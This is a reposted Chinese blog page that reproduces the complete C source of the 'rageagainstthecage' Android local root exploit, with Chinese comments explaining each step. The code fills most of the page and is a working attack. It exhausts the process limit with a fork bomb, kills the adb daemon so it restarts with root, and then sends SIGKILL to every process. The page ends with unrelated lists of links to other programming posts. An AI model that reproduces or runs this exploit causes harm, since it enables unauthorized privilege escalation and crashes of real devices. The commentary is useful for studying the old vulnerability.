如下:

//头文件包含
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h> //输出错误消息后退出程序
void die(const char *msg)
{
perror(msg);
exit(errno);
} //搜索ADB进程,返回其PID,没有找到时返回0
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0; //初始化为0,如果没有找到adb将一直保持0值 //遍历进程ID的有效范围
for (i = 0; i < 32000; ++i)
{
//拼接字符串"/proc/<PID>/cmdline"
sprintf(buf, "/proc/%d/cmdline", i); //打开失败,进程不存在或无权访问
if ((fd = open(buf, O_RDONLY)) < 0)
{
//跳过这个PID,继续下一轮循环
continue;
} //end if //buf填0
memset(buf, 0, sizeof(buf)); //读取进程的命令行
read(fd, buf, sizeof(buf) - 1); //关闭进程
close(fd); //在命令行中查找"/sbin/adb"
if (strstr(buf, "/sbin/adb"))
{
//找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID
found = i;
break;
} //end if
} //end for //返回找到的PID或0值
return found;
} //重启adb进程,参数为当前adb进程的PID
void restart_adb(pid_t pid)
{
//直接杀死进程(sig = SIGKILL)
kill(pid, 9);
} //等待具有root权限的adb进程
//参数为原有adb进程的PID
void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0; //死循环,只能由里面的break跳出
for (;;)
{
//搜索adb进程
p = find_adb(); //找到了adb进程,并且不是原来那个旧的adb进程
if (p != 0 && p != old_adb)
{
//退出循环
break;
} //休息1秒,防止大量占用CPU
sleep(1); } //end for //休息5秒,等待新的adb进程初始化完毕
sleep(5); //将SIGKILL广播给系统中的所有进程
kill(-1, 9);
} //程序入口点
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl; //启动时显示的版本与版权信息
printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
printf(" checking NPROC limit ...\n"); //获取当前进程可以创建的最大子进程数量
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
{
//失败时输出消息退出
die("[-] getrlimit");
} //检查是否有最大子进程数量限制
if (rl.rlim_cur == RLIM_INFINITY)
{
//当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
exit(1);
} //输出最大子进程数量软性限制和硬性限制
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf(" Searching for adb ...\n"); //查找adb进程
adb_pid = find_adb(); //检查是否找到了adb进程
if (!adb_pid)
{
//没有找到时直接退出
die("[-] Cannot find adb");
} //输出adb进程的PID
printf("[+] Found adb as PID %d\n", adb_pid); //输出一大堆废话
printf(" Spawning children. Dont type anything and wait for reset!\n");
printf("\n If you like what we are doing you can send us PayPal money to\n"
" 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
" If you are a company and feel like you profit from our work,\n"
" we also accept donations > 1000 USD!\n");
printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); //休息5秒,防止当前的adb进程没有完全初始化
sleep(5); //如果在父进程中(已有子进程)
if (fork() > 0)
{
//退出
exit(0);
} //创建一个新的进程组
setsid(); //创建管道
pipe(pepe); //如果在子进程中
if (fork() == 0)
{
//关闭输入管道
close(pepe[0]); //死循环,直到满足条件时退出进程
for (;;)
{
//如果是子进程
if ((p = fork()) == 0)
{
//直接退出
exit(0);
}
else if (p < 0) //创建进程失败,说明已达到进程数最大值
{
//确保代码只执行一次,防止多个进程反复输出信息
if (new_pids)
{
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
//在输出管道中写入一个字节,然后关闭管道
//相当于通知顶级父进程fork炸弹完成
write(pepe[1], &c, 1);
close(pepe[1]);
}
}
else
{
//进程总数+1
++pids;
}
}
} //关闭输出管道
close(pepe[1]); //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值
read(pepe[0], &c, 1); //重启adb
restart_adb(adb_pid); //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位
if (fork() == 0)
{
//子进程里继续开子进程,保证进程空位被占满
fork(); //无限休眠,永不退出
for (;;)
{
sleep(0x743C);
}
} //等待具有root权限的adb启动
wait_for_root_adb(adb_pid); //执行完毕
return 0;
}

  转自:http://blog.sina.com.cn/s/blog_405bf2e501011ic7.html

【转载】rageagainstthecage.c源码以及注释的更多相关文章

  1. robotlegs2.0框架实例源码带注释

    robotlegs2.0框架实例源码带注释 Robotlegs2的Starling扩展 有个老外写了robotleges2的starling扩展,地址是 https://github.com/brea ...

  2. eclipse/intellij idea 查看java源码和注释

    工作三年了,一直不知道怎么用IDE查看第三方jar包的源码和注释,惭愧啊!看源码还好些,itellij idea自带反编译器,eclipse装个插件即可,看注释就麻烦了,总不能去找api文档吧!现在终 ...

  3. 【Eclipse+IntelliJ反编译】Eclipse/IntelliJ IDEA反编译查看源码及注释

    怎么用IDE查看第三方jar包的源码和注释,IntelliJ IDEA自带反编译器,Eclipse装个插件即可,不能看注释就麻烦了,总不能去找API文档吧,现在终于掌握了,下面给出解决方案,供大家参考 ...

  4. ExcelToHtmlTable转换算法:将Excel转换成Html表格并展示(项目源码+详细注释+项目截图)

    功能概述 Excel2HtmlTable的主要功能就是把Excel的内容以表格的方式,展现在页面中.Excel的多个Sheet对应页面的多个Tab选项卡.转换算法的难点在于,如何处理行列合并,将Exc ...

  5. Mybatis3源码加注释后后编译问题

    参考:https://mp.weixin.qq.com/s/v0ihaPsuyGufdc_ImEqX8A给mybatis3源码加注释并编译源代码 编译命令: mvn clean mvn install ...

  6. [转载]JMeter源码导入Eclipse

    转载自:http://www.cnblogs.com/taoSir/p/5144274.html 由于JMeter纯Java开发,界面也是基于Swing或AWT搞出来的,所以想更深层次的去了解这款工具 ...

  7. [转载]《STL源码剖析》阅读笔记之 迭代器及traits编程技法

    本文从三方面总结迭代器   迭代器的思想   迭代器相应型别及traits思想   __type_traits思想 一 迭代器思想 迭代器的主要思想源于迭代器模式,其定义如下:提供一种方法,使之能够依 ...

  8. vue源码逐行注释分析+40多m的vue源码程序流程图思维导图 (diff部分待后续更新)

    vue源码业余时间差不多看了一年,以前在网上找帖子,发现很多帖子很零散,都是一部分一部分说,断章的很多,所以自己下定决定一行行看,经过自己坚持与努力,现在基本看完了,差ddf那部分,因为考虑到自己要换 ...

  9. 使用C#重写网上的60行 Javascript 俄罗斯方块源码 (带注释)

    在很久很久以前,就已经看过 60行Js的俄罗斯方块源码.无奈当时能力不够看明白,当时觉得就是个神作. 现在总算有空再看了,顺便用c#实现一遍(超过60行),顺道熟悉下Js API. 网上其他博客也有分 ...

随机推荐

  1. webstorm中使用java的块凝视

    webstorm中使用java的块凝视 有图有真相 使用java中非常方便得/**+enter就能高速创建类凝视.可是webstrom中没有现成的,所以我们得自己去创建一个,详细方法例如以下: 博主w ...

  2. Html5学习笔记1 元素 标签 属性

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  3. Android 音频的播放之二MediaPlayer

    MediaPlayer类可用于控制音频/视频文件或流的播放.关于怎样使用这个类的方法还能够阅读VideoView类的文档. 1.状态图 对播放音频/视频文件和流的控制是通过一个状态机来管理的. 下图显 ...

  4. find and xargs

    调整搜索深度 -mandepth 搜索当前目录,而不进入子目录: find . -maxdepth 0 -name "debug*" Linux中find常见用法示例 ·find  ...

  5. POJ 3335 Rotating Scoreboard(半平面交 多边形是否有核 模板)

    题目链接:http://poj.org/problem? id=3335 Description This year, ACM/ICPC World finals will be held in a ...

  6. Android gdb so

    gdb debug an android application 1.gdb 要有gdbserver 一般模拟器默认装有gdbserver,如2.3.3的模拟器,看一下有没有: D:\Develope ...

  7. eclipse代码注释模版

    设置注释模板的入口: Window->Preference->Java->Code Style->Code Template 然后展开Comments节点就是所有需设置注释的元 ...

  8. 深入Garbage First垃圾收集器(二)背景

    G1 GC是目前Java HotSpot虚拟机最新的垃圾收集器. 它是一种压缩型收集器,其基本原则是首先收集尽可能多的垃圾,因此被命名为"Garbage First" GC. G1 ...

  9. 发送邮件程序报错454 Authentication failed以及POP3和SMTP简介

    一.发现问题 在测试邮件发送程序的时候,发送给自己的QQ邮箱,程序报错454 Authentication failed, please open smtp flag first. 二.解决问题 进入 ...

  10. redis文档翻译_LRU缓存

    Using Redis as an LRU cache使用Redis作为LRU缓存 出处:http://blog.csdn.net/column/details/redisbanli.html Whe ...